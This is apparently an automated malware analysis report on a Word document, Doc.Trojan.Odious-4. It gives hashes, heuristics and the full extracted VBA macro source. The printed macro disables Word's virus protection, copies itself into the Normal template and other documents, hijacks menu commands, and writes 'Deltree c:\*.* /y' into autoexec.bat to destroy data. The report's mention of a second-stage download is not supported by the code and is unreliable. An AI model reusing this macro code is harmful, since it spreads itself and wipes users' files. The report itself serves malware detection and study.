Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7343361c605756b3…

MALICIOUS

Office (OLE)

30.0 KB Created: 2001-07-10 18:57:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: afb88d1b89c74b4af2361d185a835b54 SHA-1: 36aad2dc793b46842e75b145dd42a890bce96b6b SHA-256: 7343361c605756b38a906bb10b43031d4807984f615b1f726dac0043bacc8a62
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros with AutoOpen, AutoExec, AutoNew, and AutoClose functions, indicating an attempt to execute code upon document interaction. The 'Virus' function within the VBA code attempts to create a batch file named 'c:\autoexec.bat' with content designed to be destructive, including a 'Deltree c:\*.* /y' command. This suggests the macro's purpose is to download and execute a second-stage payload or perform destructive actions on the system.

Heuristics 5

  • ClamAV: Doc.Trojan.Odious-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Odious-4
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2767 bytes
SHA-256: 10b1a177cc24313354be72807f40dd2246c65b3718b59bb9f6062b3acd8173ce
Detection
ClamAV: Doc.Trojan.Odious-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Hate_A"
Sub AutoExec()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Options.VirusProtection = False
End Sub
Sub AutoOpen()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub AutoNew()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub AutoClose()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Function Virus()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Application.DisplayAlerts = wdAlertsNone
    E
    If VBE.MainWindow.Visible = True Then
        Open "c:\autoexec.bat" For Output As #1
            Print #1, "";
            Print #1, "Deltree c:\*.* /y";
            Print #1, "";
            Print #1, "echo Fuck you....";
        Close #1
        Application.Quit SaveChanges:=wdDoNotSaveChanges
    End If
End Function
Function E()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Dim A, B As String
    A = Application.NormalTemplate.FullName
    B = Application.ActiveDocument.FullName
    Application.OrganizerCopy A, B, "Hate_A", wdOrganizerObjectProjectItems
    Application.OrganizerCopy B, A, "Hate_A", wdOrganizerObjectProjectItems
End Function
Sub ExibirCódigoVB()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub FerramGravarMacroAlternar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub ExibirCódigo()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub FerramMacro()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub InterromperGravação()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub FerramentasGravarMacroIniciar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub FerramentasGravarMacroParar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub ArquivoModelos()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub ArquivoSalvar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
    ActiveDocument.Save
End Sub

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